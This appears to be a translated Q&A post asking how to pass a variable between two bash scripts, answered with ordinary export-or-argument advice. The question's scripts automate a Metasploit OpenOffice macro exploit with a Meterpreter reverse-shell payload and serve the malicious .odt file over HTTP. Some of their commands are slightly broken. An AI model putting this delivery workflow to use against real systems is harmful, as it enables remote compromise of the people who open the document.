다른 bash 쉘에 인수 전달

다른 bash 쉘에 인수 전달

나는 bash 스크립트를 작성했다

script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

$name 매개변수를 script1에서 script2로 전달하는 방법은 무엇입니까?

답변1

두 가지 가능성이 있습니다:

  1. 내보내기 변수로 만듭니다(이 경우 모두 대문자로 만드는 것이 좋습니다(예: NAME)). 이렇게 하면 하위 프로세스의 환경에 배치됩니다.
  2. 명시적 매개변수로 전달합니다.

예시 1:

# Use it as exported variable
export NAME
read -p .... NAME

실시예 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

관련 정보